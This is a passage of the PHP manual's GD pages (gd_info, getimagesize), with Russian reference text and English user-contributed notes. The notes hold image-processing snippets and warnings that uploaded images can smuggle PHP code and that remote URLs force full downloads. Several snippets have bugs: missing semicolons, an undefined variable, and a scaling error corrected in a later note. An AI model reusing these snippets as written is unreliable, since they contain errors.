        $or = ($rgb >> 16) & 0xFF;
        $og = ($rgb >> 8) & 0xFF;
        $ob = ($rgb) & 0xFF;

        //-------------------------------------------------
        // first line is a special case
        //-------------------------------------------------
        $x = $srcw;
        $y = $srch-1;
        while ($x--)
        {
            //horizontal blurren
            $rgb = imagecolorat($srcimg,$x,$y);
            $cr = ($rgb >> 16) & 0xFF;
            $cg = ($rgb >> 8) & 0xFF;
            $cb = ($rgb) & 0xFF;

            $nr = ($cr * $f1a) + ($or * $f1b);
            $ng = ($cg * $f1a) + ($og * $f1b);
            $nb = ($cb * $f1a) + ($ob * $f1b);

            $or = $nr;
            $og = $ng;
            $ob = $nb;

            imagesetpixel($dstimg,$x,$y,($nr << 16) | ($ng << 8) | ($nb));
        }
        //-------------------------------------------------

        //-------------------------------------------------
        // now process the entire picture
        //-------------------------------------------------
        $y = $srch-1;
        while ($y--)
        {

            $rgb = imagecolorat($srcimg,0,$y);
            $or = ($rgb >> 16) & 0xFF;
            $og = ($rgb >> 8) & 0xFF;
            $ob = ($rgb) & 0xFF;

            $x = $srcw;
            while ($x--)
            {
                //horizontal
                $rgb = imagecolorat($srcimg,$x,$y);
                $cr = ($rgb >> 16) & 0xFF;
                $cg = ($rgb >> 8) & 0xFF;
                $cb = ($rgb) & 0xFF;

                $nr = ($cr * $f1a) + ($or * $f1b);
                $ng = ($cg * $f1a) + ($og * $f1b);
                $nb = ($cb * $f1a) + ($ob * $f1b);

                $or = $nr;
                $og = $ng;
                $ob = $nb;

                //vertical
                $rgb = imagecolorat($dstimg,$x,$y+1);
                $vr = ($rgb >> 16) & 0xFF;
                $vg = ($rgb >> 8) & 0xFF;
                $vb = ($rgb) & 0xFF;

                $nr = ($nr * $f1a) + ($vr * $f1b);
                $ng = ($ng * $f1a) + ($vg * $f1b);
                $nb = ($nb * $f1a) + ($vb * $f1b);

                $vr = $nr;
                $vg = $ng;
                $vb = $nb;

                imagesetpixel($dstimg,$x,$y,($nr << 16) | ($ng << 8) | ($nb));
            }

        }
        //-------------------------------------------------
        return $dstimg;

    }

    $srcimg = imagecreatefromjpeg("test.jpg");
    $dstimg = blurImage($srcimg,0.2);

    header('Content-type: image/jpeg');
    echo( imagejpeg($dstimg) );
    exit();

?>
chuckstudios at gmail dot com 25-Nov-2008 09:18
I wrote a simple function to convert an image resource to PGM (portable graymap) in order to feed it to an OCR program. It works just like the rest of the image output functions, and will convert to grayscale for you:

<?php
    function imagepgm($image, $filename = null)
    {
        $pgm = "P5 ".imagesx($image)." ".imagesy($image)." 255\n";
        for($y = 0; $y < imagesy($image); $y++)
        {
            for($x = 0; $x < imagesx($image); $x++)
            {
                $colors = imagecolorsforindex($image, imagecolorat($image, $x, $y));
                $pgm .= chr(0.3 * $colors["red"] + 0.59 * $colors["green"] + 0.11 * $colors["blue"]);
            }
        }
        if($filename != null)
        {
            $fp = fopen($filename, "w");
            fwrite($fp, $pgm);
            fclose($fp);
        }
        else
        {
            return $pgm;
        }
    }
?>
ph_corp at yahoo dot fr 23-Dec-2007 03:19
<?php

/**
HSL/RGB conversion functions
very useful for a lot of applications
**/

function RBGtoHSL ( $R, $G, $B )
{

    $var_R = ( $R / 255 );
    $var_G = ( $G / 255 );
    $var_B = ( $B / 255 );

    $var_Min = min( $var_R, $var_G, $var_B )
    $var_Max = max( $var_R, $var_G, $var_B )
    $del_Max = $var_Max - $var_Min

    $L = ( $var_Max + $var_Min ) / 2;

    if ( $del_Max == 0 )
    {
       $H = 0
       $S = 0
    }
    else
    {
        if ( $L < 0.5 )
        {
            $S = $del_Max / ( $var_Max + $var_Min );
        }
        else
        {
            $S = $del_Max / ( 2 - $var_Max - $var_Min );
        }

        $del_R = ( ( ( $var_Max - $var_R ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
        $del_G = ( ( ( $var_Max - $var_G ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
        $del_B = ( ( ( $var_Max - $var_B ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;

        if ( $var_R == $var_Max )
        {
            $H = $del_B - $del_G;
        }
        else if ( $var_G == $var_Max )
        {
            $H = ( 1 / 3 ) + $del_R - $del_B;
        }
        else if ( $var_B == $var_Max )
        {
            $H = ( 2 / 3 ) + $del_G - $del_R;
        }

        if ( $H < 0 )
        {
            $H += 1;
        }
        if ( $H > 1 )
        {
            $H -= 1
        }

    }

    return array( $H, $S, $L );

}

function HuetoRGB( $v1, $v2, $vH )
{
    if ( $vH < 0 )
    {
        $vH += 1;
    }
    if ( $vH > 1 )
    {
        $vH -= 1;
    }
    if ( ( 6 * $vH ) < 1 )
    {
        return ( $v1 + ( $v2 - $v1 ) * 6 * $vH );
    }
    if ( ( 2 * $vH ) < 1 )
    {
        return ( $v2 );
    }
    if ( ( 3 * $vH ) < 2 )
    {
        return ( $v1 + ( $v2 - $v1 ) * ( ( 2 / 3 ) - $vH ) * 6 );
    }
    return ( $v1 )
}

function HSLtoRGB ( $H, $S, $L )
{

    if ( $S == 0 )
    {
        $R = $L * 255;
        $G = $L * 255;
        $B = $L * 255;
    }
    else
    {
        if ( $L < 0.5 )
        {
            $var_2 = $L * ( 1 + $S );
        }
        else
        {
            $var_2 = ( $L + $S ) - ( $S * $L );
        }

        $var_1 = 2 * $L - $var_2;

        $R = 255 * HuetoRGB( $var_1, $var_2, $H + ( 1 / 3 ) );
        $G = 255 * HuetoRGB( $var_1, $var_2, $H );
        $B = 255 * HuetoRGB( $var_1, $var_2, $H - ( 1 / 3 ) );
    }

    return array( $R, $G, $B );

}

function distance ( $R1, $G1, $B1, $R2, $G2, $B2 )
{
    $result = sqrt ( ( $R1 - $R2 )*( $R1 - $R2 ) + ( $G1 - $G2 )*( $G1 - $G2 ) + ( $B1 - $B2 )*( $B1 - $B2 ) );
    return ( $result );
}

?>
shd at earthling dot net 28-Mar-2006 04:44
If you happen to need a way to output a Windows BMP file (e.g. when using the PEAR ExcelWriter), feel free to use the following code:

<?php
function imagebmp ($im, $fn = false)
{
    if (!$im) return false;

    if ($fn === false) $fn = 'php://output';
    $f = fopen ($fn, "w");
    if (!$f) return false;

    //Image dimensions
    $biWidth = imagesx ($im);
    $biHeight = imagesy ($im);
    $biBPLine = $biWidth * 3;
    $biStride = ($biBPLine + 3) & ~3;
    $biSizeImage = $biStride * $biHeight;
    $bfOffBits = 54;
    $bfSize = $bfOffBits + $biSizeImage;

    //BITMAPFILEHEADER
    fwrite ($f, 'BM', 2);
    fwrite ($f, pack ('VvvV', $bfSize, 0, 0, $bfOffBits));

    //BITMAPINFO (BITMAPINFOHEADER)
    fwrite ($f, pack ('VVVvvVVVVVV', 40, $biWidth, $biHeight, 1, 24, 0, $biSizeImage, 0, 0, 0, 0));

    $numpad = $biStride - $biBPLine;
    for ($y = $biHeight - 1; $y >= 0; --$y)
    {
        for ($x = 0; $x < $biWidth; ++$x)
        {
            $col = imagecolorat ($im, $x, $y);
            fwrite ($f, pack ('V', $col), 3);
        }
        for ($i = 0; $i < $numpad; ++$i)
            fwrite ($f, pack ('C', 0));
    }
    fclose ($f);
    return true;
}
?>

It works the same way as regular imagejpeg/imagepng do and only supports GD2.0 true colour bitmaps (which is what's required by ExcelWriter).
felipensp at gmail dot com 12-Mar-2006 09:17
Representation decimal of a color in hexadecimal for use on functions of library GD.

<?php

    // Representation hexadecimal
    $var = '#FFFFFF';

    function getRgbFromGd($color_hex) {

        return array_map('hexdec', explode('|', wordwrap(substr($color_hex, 1), 2, '|', 1)));

    }

    print_r(getRgbFromGd($var));

    // Output: Array ( [0] => 255 [1] => 255 [2] => 255 )

?>
michal-ok at o2 dot pl 18-Oct-2005 02:29
The image sharpen function (by Alex R. Austin) provided below seems to be very resource hungry and I couldn't make it work on two different servers - trying to sharpen a 413 x 413 image I ended up with "Fatal error: Allowed memory size of 8388608 bytes exhausted" or "Internal Server Error" or the script terminated without notice. Because I had no priviliges to change the default memory limit on these servers I started looking for other sharpen functions. I have come across a php Unsharp Mask function which works like a charm on both of the servers I dealt with. It can be found at http://vikjavev.no/hovudsida/umtestside.php.
jeff at lushmedia dot com 04-Nov-2003 08:52
I wrote an online overview of the image functions that people might find useful. In addition to a general overview of the various function categories and code samples, I have included many interactive examples of the functions, allowing viewers to experiment with the parameters, and seeing the results in real time. The presentation is located at New York PHP
http://www.nyphp.org/content/presentations/GDintro/


Вывод информации о текущей установленной GD библиотеке

  • « Функции GD и функции для работы с изображениями
  • getimagesize »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Вывод информации о текущей установленной GD библиотеке

gd_info

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

gd_info — Вывод информации о текущей установленной GD библиотеке

Описание

gd_info(): array

Получает информацию о версии и возможностях установленной GD библиотеки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив.

Элементы массива, возвращаемого из gd_info()
Атрибут | Смысловое значение
GD Version | Строка (string), содержащая версию libgd.
FreeType Support | bool значение. true, если компонент FreeType Support установлен.
FreeType Linkage | Строка (string), содержащая описание, каким образом подключён компонент FreeType. Ожидаемые значения: 'with freetype', 'with TTF library', и 'with unknown library'. Этот элемент будет определён, только если FreeType Support имеет значение true.
GIF Read Support | bool значение. true, если включена поддержка чтения (reading) GIF изображений.
GIF Create Support | bool значение. true, если включена поддержка записи (creating) GIF изображений.
JPEG Support | bool значение. true, если включена поддержка JPEG.
PNG Support | bool значение. true, если включена поддержка PNG.
WBMP Support | bool значение. true, если включена поддержка WBMP.
XBM Support | bool значение. true, если включена поддержка XBM.
WebP Support | bool значение. true, если включена поддержка WebP.
AVIF Support | bool значение. true, если включена поддержка AVIF. Доступно, начиная с PHP 8.1.0.

Примеры

Пример #1 Пример использования gd_info()

<?php
var_dump(gd_info());
?>

Результатом выполнения данного примера будет что-то подобное:

array(10) {
  ["GD Version"]=>
  string(24) "bundled (2.1.0 compatible)"
  ["FreeType Support"]=>
  bool(false)
  ["GIF Read Support"]=>
  bool(true)
  ["GIF Create Support"]=>
  bool(false)
  ["JPEG Support"]=>
  bool(false)
  ["PNG Support"]=>
  bool(true)
  ["WBMP Support"]=>
  bool(true)
  ["XBM Support"]=>
  bool(false)
  ["WebP Support"]=>
  bool(false)
  ["AVIF Support"]=>
  bool(false)
}

Смотрите также

  • imagepng() - Вывод PNG изображения в браузер или файл
  • imagejpeg() - Выводит изображение в браузер или пишет в файл
  • imagegif() - Выводит изображение в браузер или пишет в файл
  • imagewbmp() - Выводит изображение в браузер или пишет в файл
  • imagewebp() - Вывод изображения WebP в браузер или файл
  • imageavif() - Выводит изображение в браузер или пишет в файл
  • imagetypes() - Возвращает список типов изображений, поддерживаемых PHP сборкой

User Contributed Notes

There are no user contributed notes for this page.


Получение размера изображения

  • « gd_info
  • getimagesizefromstring »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение размера изображения

getimagesize

(PHP 4, PHP 5, PHP 7, PHP 8)

getimagesize — Получение размера изображения

Описание

getimagesize(string $filename, array &$image_info = null): array|false

Функция getimagesize() определит размер любого заданного, поддерживаемого изображения и вернёт этот размер вместе с типом файла и текстовой строкой height/width, которую можно будет использовать внутри тега HTML IMG, а также вернёт соответствующий тип содержимого HTTP.

Также getimagesize() может вернуть дополнительные сведения об изображении через аргумент image_info.

Предостережение

Функция ожидает, что filename является корректным файлом изображения. Если будет передан файл не содержащий изображения, он может быть некорректно интерпретирован как изображение и функция завершится успешно, но массив при этом будет содержать бессмысленные значения.

Не используйте getimagesize() для проверки того, что файл является изображением. Для этих целей используйте модуль Fileinfo.

Замечание: Обратите внимание на тот факт, что отдельные части JPC и JP2 изображений могут иметь различную глубину цвета. В этом случае в параметре "bits" будет стоять максимальное значение из всех обнаруженных. Также JP2 файлы могут содержать несколько кодовых потоков JPEG 2000. В таком случае getimagesize() вернёт значения для первого такого потока, который будет обнаружен функцией в корне файла.

Замечание: Сведения об иконках извлекаются из иконки с наибольшим битрейтом.

Замечание: Изображения GIF состоят из одного или нескольких кадров, где каждый кадр может занимать только часть изображения. Размер изображения, возвращаемый getimagesize(), будет являться общим размером (прочитанным из дескриптора логического экрана).

Список параметров

filename

Этот аргумент задаёт файл, сведения о котором будут извлекаться. Это может быть локальный или удалённый (зависит от конфигурации) файл. Передача данных удалённого файла должна осуществляться одним из поддерживаемых потоков.

image_info

Этот необязательный аргумент позволяет извлечь некоторые расширенные сведения из файла изображения. На данный момент можно получать различные JPG APP маркеры в виде ассоциативного массива. Некоторые программы используют эти маркеры для встраивания текста в картинку. Наиболее часто встраивают » IPTC сведения в APP13 маркер. Для преобразования двоичных данных APP13 маркера во что-то удобочитаемое можно воспользоваться функцией iptcparse().

Замечание:

image_info поддерживает только файлы JFIF.

Возвращаемые значения

Возвращает массив из 7 элементов. Не все типы изображений содержат элементы с каналами (channels) и битрейтом (bits).

Индексы 0 и 1 содержат ширину и высоту изображения.

Замечание:

Некоторые форматы файлов могут хранить несколько изображений или не содержать изображения вообще. В таких случаях getimagesize() не сможет определить размер изображения. getimagesize() вернёт нули в качестве значений высоты и ширины.

Индекс 2 содержит одну из констант типа изображения IMAGETYPE_XXX.

Индекс 3 содержит строку со значениями ширины и высоты изображения height="yyy" width="xxx", которая может быть использована внутри IMG тега.

mime - соответствующий MIME-тип изображения. Эти сведения используются для корректной обработки изображения на основании заголовка Content-type:

Пример #1 getimagesize() и MIME типы

<?php
$size = getimagesize($filename);
$fp = fopen($filename, "rb");
if ($size && $fp) {
header("Content-type: {$size['mime']}");
fpassthru($fp);
exit;
} else {
// ошибка
}
?>

channels принимает значение 3 для RGB картинок и 4 для CMYK.

bits - глубина цвета, число бит для каждого цвета.

Для некоторых типов изображений наличие значений channels и bits может сбить с толку. Например, GIF всегда использует 3 канала на пиксель, но глубину цвета невозможно вычислить для анимированных GIF изображений с общей таблицей цветов.

В случае возникновения ошибки функция вернёт false.

Ошибки

Если доступ к файлу filename невозможен, getimagesize() вызовет ошибку уровня E_WARNING. В случае возникновения ошибки чтения файла getimagesize() вызовет ошибку уровня E_NOTICE.

Список изменений

Версия | Описание
8.2.0 | Теперь возвращает фактические размеры, биты и каналы изображений AVIF; ранее размеры сообщались как 0x0, а биты и каналы не сообщались вообще.
7.1.0 | Добавлена поддержка WebP.

Примеры

Пример #2 Пример использования getimagesize()

<?php
list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
echo "<img src=\"img/flag.jpg\" $attr alt=\"пример getimagesize()\" />";
?>

Пример #3 getimagesize (URL)

<?php
$size = getimagesize("http://www.example.com/gifs/logo.gif");

// если в имени файла есть пробелы, учтите это должным образом
$size = getimagesize("http://www.example.com/gifs/lo%20go.gif");

?>

Пример #4 getimagesize() возвращающая IPTC

<?php
$size = getimagesize("testimg.jpg", $info);
if (isset($info["APP13"])) {
$iptc = iptcparse($info["APP13"]);
var_dump($iptc);
}
?>

Примечания

Замечание:

Этой функции не требуется библиотека GD.

Смотрите также

  • image_type_to_mime_type() - Получение Mime-типа для типа изображения, возвращаемого функциями getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
  • exif_imagetype() - Determine the type of an image
  • exif_read_data() - Читает заголовки EXIF из файлов изображений
  • exif_thumbnail() - Получает встроенное превью изображения
  • imagesx() - Получение ширины изображения
  • imagesy() - Получение высоты изображения

User Contributed Notes

nikolam3244 at gmail dot com 12-Dec-2017 07:24
There's a code snippet for getting JPEG image dimensions by getting only first few bytes of the file, but it doesn't work for PNG files, so I wrote one. It will download only the first 24 bytes instead of the whole image, and thus being much faster than getimagesize() and it will save bandwidth at the same time:

<?php
// Retrieve PNG width and height without downloading/reading entire image.
function getpngsize( $img_loc ) {
    $handle = fopen( $img_loc, "rb" ) or die( "Invalid file stream." );

    if ( ! feof( $handle ) ) {
        $new_block = fread( $handle, 24 );
        if ( $new_block[0] == "\x89" &&
            $new_block[1] == "\x50" &&
            $new_block[2] == "\x4E" &&
            $new_block[3] == "\x47" &&
            $new_block[4] == "\x0D" &&
            $new_block[5] == "\x0A" &&
            $new_block[6] == "\x1A" &&
            $new_block[7] == "\x0A" ) {
                if ( $new_block[12] . $new_block[13] . $new_block[14] . $new_block[15] === "\x49\x48\x44\x52" ) {
                    $width  = unpack( 'H*', $new_block[16] . $new_block[17] . $new_block[18] . $new_block[19] );
                    $width  = hexdec( $width[1] );
                    $height = unpack( 'H*', $new_block[20] . $new_block[21] . $new_block[22] . $new_block[23] );
                    $height  = hexdec( $height[1] );

                    return array( $width, $height );
                }
            }
        }

    return false;
}
?>
freecorvette at gmail dot com 03-Oct-2017 08:03
For some images, using getimagesize() without the second parameter will return the correct info, but when you add the second parameter it will return false. This is most likely a bug (and it has been reported as such), but meanwhile, if you encounter this problem, a workaround is to use exif_read_data().
simon dot waters at surevine dot com 30-Mar-2015 09:01
Note: getimage size doesn't attempt to validate image file formats

It is possible for malformed GIF images to contain PHP and still have valid dimensions.

Programmers need to ensure such images are validated by other tools, or never treated as PHP or other executable types (enforcing appropriate extensions, avoiding user controlled renaming, restricting uploaded images to areas of the website where PHP is not enabled).

http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/
kazuya 11-Mar-2014 02:19
i made function img_resize($path,$tmp_name,$new_name,$new_width)
this could be useful.

<?php

$new_file = img_resize("./img/", "test.jpg","copy_test.jpg",300);
echo "<IMG src = '$new_file'>";

function img_resize($path,$tmp_name,$new_name,$new_width){
    if (!file_exists($path.$filename)){
        echo "file not found!";
        exit;
    }
    if (!is_writable($path)){
        echo "error:permission denied!";
        exit;
    }
    list($width, $height) = getimagesize($path . $tmp_name);
    $new_height = abs($new_width * $height / $width);
    $image_p = imagecreatetruecolor($new_width, $new_height);
    $image = imagecreatefromjpeg($path . $tmp_name);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                        $new_width, $new_height, $width, $height);
    imagejpeg($image_p, $path . $new_name);
    return $path.$new_name;
}

?>
tomasz at trejderowski dot pl 06-Sep-2013 09:47
If you want to "convert" value returned by "getimagesize()" as index "2" into something more human-readable, you may consider using a function like this one:

    $imageTypeArray = array
    (
        0=>'UNKNOWN',
        1=>'GIF',
        2=>'JPEG',
        3=>'PNG',
        4=>'SWF',
        5=>'PSD',
        6=>'BMP',
        7=>'TIFF_II',
        8=>'TIFF_MM',
        9=>'JPC',
        10=>'JP2',
        11=>'JPX',
        12=>'JB2',
        13=>'SWC',
        14=>'IFF',
        15=>'WBMP',
        16=>'XBM',
        17=>'ICO',
        18=>'COUNT'
    );

    $size = getimagesize($filename);

    $size[2] = $imageTypeArray[$size[2]];

Or something similar.
alexyam at live dot com 15-Feb-2012 11:30
I wanted to use getimagesize() on .SWF files stored in the database as blob data and couldn't find a simple solution, so I created my own.

I am releasing this code under the MIT license to save everyone some time:

<?php
/*
    ----------------------------------------------------------------------
    PHP Blob Data As File Stream v1.0 (C) 2012 Alex Yam <alexyam@live.com>
    This code is released under the MIT License.
    ----------------------------------------------------------------------
    [Summary]

    A simple class for PHP functions to read and write blob data as a file
    using a stream wrapper.

    Particularly useful for running getimagesize() to get the width and
    height of .SWF Flash files that are stored in the database as blob data.

    Tested on PHP 5.3.10.

    ----------------------------------------------------------------------
    [Usage Example]

    //Include
        include('./blob_data_as_file_stream.php');

    //Register the stream wrapper
        stream_wrapper_register("BlobDataAsFileStream", "blob_data_as_file_stream");

    //Fetch a .SWF file from the Adobe website and store it into a variable.
    //Replace this with your own fetch-swf-blob-data-from-database code.
        $swf_url = 'http://www.adobe.com/swf/software/flash/about/flashAbout_info_small.swf';
        $swf_blob_data = file_get_contents($swf_url);

    //Store $swf_blob_data to the data stream
        blob_data_as_file_stream::$blob_data_stream = $swf_blob_data;

    //Run getimagesize() on the data stream
        $swf_info = getimagesize('BlobDataAsFileStream://');
        var_dump($swf_info);

    ----------------------------------------------------------------------
    [Usage Output]

    array(5) {
      [0]=>
      int(159)
      [1]=>
      int(91)
      [2]=>
      int(13)
      [3]=>
      string(23) "width="159" height="91""
      ["mime"]=>
      string(29) "application/x-shockwave-flash"
    }

*/

class blob_data_as_file_stream {

    private static $blob_data_position = 0;
    public static $blob_data_stream = '';

    public static function stream_open($path,$mode,$options,&$opened_path){
        static::$blob_data_position = 0;
        return true;
    }

    public static function stream_seek($seek_offset,$seek_whence){
        $blob_data_length = strlen(static::$blob_data_stream);
        switch ($seek_whence) {
            case SEEK_SET:
                $new_blob_data_position = $seek_offset;
                break;
            case SEEK_CUR:
                $new_blob_data_position = static::$blob_data_position+$seek_offset;
                break;
            case SEEK_END:
                $new_blob_data_position = $blob_data_length+$seek_offset;
                break;
            default:
                return false;
        }
        if (($new_blob_data_position >= 0) AND ($new_blob_data_position <= $blob_data_length)){
            static::$blob_data_position = $new_blob_data_position;
            return true;
        }else{
            return false;
        }
    }

    public static function stream_tell(){
        return static::$blob_data_position;
    }

    public static function stream_read($read_buffer_size){
        $read_data = substr(static::$blob_data_stream,static::$blob_data_position,$read_buffer_size);
        static::$blob_data_position += strlen($read_data);
        return $read_data;
    }

    public static function stream_write($write_data){
        $write_data_length=strlen($write_data);
        static::$blob_data_stream = substr(static::$blob_data_stream,0,static::$blob_data_position).
            $write_data.substr(static::$blob_data_stream,static::$blob_data_position+=$write_data_length);
        return $write_data_length;
    }

    public static function stream_eof(){
        return static::$blob_data_position >= strlen(static::$blob_data_stream);
    }

}
?>
utilmind 23-Jul-2011 03:17
Here is the function which determines whether the PNG image contains alpha or not:

<?php
function is_alpha_png($fn){
  return (ord(@file_get_contents($fn, NULL, NULL, 25, 1)) == 6);
}
?>

The color type of PNG image is stored at byte offset 25. Possible values of that 25'th byte is:
 * 0 - greyscale
 * 2 - RGB
 * 3 - RGB with palette
 * 4 - greyscale + alpha
 * 6 - RGB + alpha
Steve 17-Apr-2011 03:12
The list of defined IMAGETYPE_ constants is on the manual page for exif_imagetype:

http://www.php.net/manual/en/function.exif-imagetype.php
Jesus Zamora 13-Feb-2011 06:20
Returns a array with 4 elements.
The 0 index is the width of the image in pixels.
The 1 index is the height of the image in pixels.
The 2 index is a flag for the image type:

1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(orden de bytes intel), 8 = TIFF(orden de bytes motorola), 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC, 14 = IFF, 15 = WBMP, 16 = XBM.

The 3 index contains ' height="yyy" width="xxx" '
geoff at spacevs dot com 20-Oct-2009 11:22
This function returns the width and height of a JPEG image from a string, allowing the dimensions of images stored in a database to be retrieved without writing them to the disk first, or using "imagecreatefromstring" which is very slow in comparison.

<?PHP
function getJPEGImageXY($data) {
        $soi = unpack('nmagic/nmarker', $data);
        if ($soi['magic'] != 0xFFD8) return false;
        $marker = $soi['marker'];
        $data   = substr($data, 4);
        $done   = false;

        while(1) {
                if (strlen($data) === 0) return false;
                switch($marker) {
                        case 0xFFC0:
                                $info = unpack('nlength/Cprecision/nY/nX', $data);
                                return array($info['X'], $info['Y']);
                                break;

                        default:
                                $info   = unpack('nlength', $data);
                                $data   = substr($data, $info['length']);
                                $info   = unpack('nmarker', $data);
                                $marker = $info['marker'];
                                $data   = substr($data, 2);
                                break;
                }
        }
}
?>

Doing this 10,000 times takes 0.43 seconds, compared with using imagecreatefromstring/imagesx/imagesy which takes around 1.52 seconds to do the same.

Do not use this instead of getimagesize when dealing with files, getimagesize is much faster coming in at 0.15 seconds.
james dot relyea at zifiniti dot com 07-Feb-2009 08:49
As noted below, getimagesize will download the entire image before it checks for the requested information. This is extremely slow on large images that are accessed remotely. Since the width/height is in the first few bytes of the file, there is no need to download the entire file. I wrote a function to get the size of a JPEG by streaming bytes until the proper data is found to report the width and height:

<?php
// Retrieve JPEG width and height without downloading/reading entire image.
function getjpegsize($img_loc) {
    $handle = fopen($img_loc, "rb") or die("Invalid file stream.");
    $new_block = NULL;
    if(!feof($handle)) {
        $new_block = fread($handle, 32);
        $i = 0;
        if($new_block[$i]=="\xFF" && $new_block[$i+1]=="\xD8" && $new_block[$i+2]=="\xFF" && $new_block[$i+3]=="\xE0") {
            $i += 4;
            if($new_block[$i+2]=="\x4A" && $new_block[$i+3]=="\x46" && $new_block[$i+4]=="\x49" && $new_block[$i+5]=="\x46" && $new_block[$i+6]=="\x00") {
                // Read block size and skip ahead to begin cycling through blocks in search of SOF marker
                $block_size = unpack("H*", $new_block[$i] . $new_block[$i+1]);
                $block_size = hexdec($block_size[1]);
                while(!feof($handle)) {
                    $i += $block_size;
                    $new_block .= fread($handle, $block_size);
                    if($new_block[$i]=="\xFF") {
                        // New block detected, check for SOF marker
                        $sof_marker = array("\xC0", "\xC1", "\xC2", "\xC3", "\xC5", "\xC6", "\xC7", "\xC8", "\xC9", "\xCA", "\xCB", "\xCD", "\xCE", "\xCF");
                        if(in_array($new_block[$i+1], $sof_marker)) {
                            // SOF marker detected. Width and height information is contained in bytes 4-7 after this byte.
                            $size_data = $new_block[$i+2] . $new_block[$i+3] . $new_block[$i+4] . $new_block[$i+5] . $new_block[$i+6] . $new_block[$i+7] . $new_block[$i+8];
                            $unpacked = unpack("H*", $size_data);
                            $unpacked = $unpacked[1];
                            $height = hexdec($unpacked[6] . $unpacked[7] . $unpacked[8] . $unpacked[9]);
                            $width = hexdec($unpacked[10] . $unpacked[11] . $unpacked[12] . $unpacked[13]);
                            return array($width, $height);
                        } else {
                            // Skip block marker and read block size
                            $i += 2;
                            $block_size = unpack("H*", $new_block[$i] . $new_block[$i+1]);
                            $block_size = hexdec($block_size[1]);
                        }
                    } else {
                        return FALSE;
                    }
                }
            }
        }
    }
    return FALSE;
}
?>
anonymous 23-Nov-2008 08:30
Note that if you specify a remote file (via a URL) to check the size of, PHP will first download the remote file to your server.

If you're using this function to check the size of user provided image links, this could constitute a security risk.  A malicious user could potentially link to a very large image file and cause PHP to download it.  I do not know what, if any, file size limits are in place for the download.  But suppose the user provided a link to an image that was several gigabytes in size?

It would be nice if there were a way to limit the size of the download performed by this function.  Hopefully there is already a default with some sensible limits.
user at example dot net 23-Jul-2008 09:13
When validating images, allways check both, image type *AND* file extension!

Because most image types allow sections for comments or other irrelevant data. Those section can be used to infiltrate php code onto the server. If these files are stored as sent by the client, files with a ".php" extension can be executed and do tremendous harm.
info at alex-lawrence dot com 02-Apr-2008 05:17
Could be useful (didn?t know where to post it):

function getImageErrors( $filename, $type = "", $minWidth = 0, $minHeight = 0, $maxWidth = 0, $maxHeight = 0, $maxFileSize = 0 )
{
    $errors = array();
    if ( file_exists( $filename ) )
    {
        $ending = substr( $filename, strpos( $filename, "." ) );
        if ( is_array( $type ) )
        {
            $isTypeOf = false;
            foreach( $type as $eachtype )
            {
                if ( $ending == $eachtype )
                {
                    $isTypeOf = true;
                }
            }
            if ( ! $isTypeOf )
            {
                $errors[ 'type' ] = $ending;
            }
        }
        elseif ( $type != "" )
        {
            if ( $ending != $type )
            {
                $errors[ 'type' ] = $ending;
            }
        }
        $size = getimagesize( $filename );
        if ( $size[ 0 ] < $minWidth )
        {
            $errors[ 'minWidth' ] = $size[ 0 ];
        }
        if ( $size[ 1 ] < $minHeight )
        {
            $errors[ 'minHeight' ] = $size[ 1 ];
        }
        if ( ( $maxWidth > $minWidth ) && ( $size[ 0 ] > $maxWidth ) )
        {
            $errors[ 'maxWidth' ] = $size[ 0 ];
        }
        if ( ( $maxHeight > $minHeight ) && ( $size[ 1 ] > $maxHeight ) )
        {
            $errors[ 'maxHeight' ] = $size[ 1 ];
        }
        if ( ( $maxFileSize > 0 ) && ( filesize( $filename ) > $maxFileSize ) )
        {
            $errors[ 'maxFileSize' ] = filesize( $filename );
        }
    }
    else
    {
        $errors[ 'filename' ] = "not existing";
    }
    return ( count( $errors ) > 0 ? $errors : null );
}
cloned at clonedmadman dot com 25-Feb-2008 02:01
Well, I am making a script which will resize the image when uploaded, however, i am making a multi-uploader, so i came across with a problem: an efficient way of getting a pictures height and width and storing them in an array to resize later. This is what i came up with:

<?php
$links = array("test1.jpg", "test2.png");
$sizearray = array();
$count = count($links);
for($i = 0; $i < $count; $i++) {
    $size = getimagesize($links[$i]);
    list($width, $height) = $size;
    $sizearray[$links[$i]] = array("width" => $width, "height" => $height);
}
print_r($sizearray);
// which will print out: Array ( [test1.jpg] => Array ( [width] => 300 [height] => 400 ) [test2.png] => Array ( [width] => 680 [height] => 100 ) )
?>
shmohel at gmail dot com 12-Feb-2008 06:27
Rather than making a lengthy function that essentially runs twice (once as width, once as height) I came up with a helpful function that uses variable variables to set a maximum height/width. Hope someone finds this helpful.

function scaleimage($location, $maxw=NULL, $maxh=NULL){
    $img = @getimagesize($location);
    if($img){
        $w = $img[0];
        $h = $img[1];

        $dim = array('w','h');
        foreach($dim AS $val){
            $max = "max{$val}";
            if(${$val} > ${$max} && ${$max}){
                $alt = ($val == 'w') ? 'h' : 'w';
                $ratio = ${$alt} / ${$val};
                ${$val} = ${$max};
                ${$alt} = ${$val} * $ratio;
            }
        }

        return("<img src='{$location}' alt='image' width='{$w}' height='{$h}' />");
    }
}
pfarthing at hotmail dot com 10-Jan-2008 03:35
Correction: to find $y2 it should be...

// set y side to a proportional size
$y2 = $m * $x_max; // not $x1

Thanks Norbert =)
info at personalmis dot com 07-Jan-2008 04:42
Seems the various ways people are trying to proportionaly scale an image, up or down, could be more straight forward if one remembers ones algebra.

The formula is, y = mx, where m is the slope of the line. This is the ratio of y:x or m = y/x.

So if...

// max values for x and y
$y_max = 600;
$x_max = 800;

// image size
$y1 = 2000;
$x1 = 3000;

// use width for scaling
if ($x1 > $x_max)
{
    // find slope
    $m = $y1/$x1;
    // set x side to max
    $x2 = $x_max;
    // set y side to a proportional size
    $y2 = $m * $x1;
}

The new image proportionally scaled will be x2 = 800, y2 = 533 (rounded).

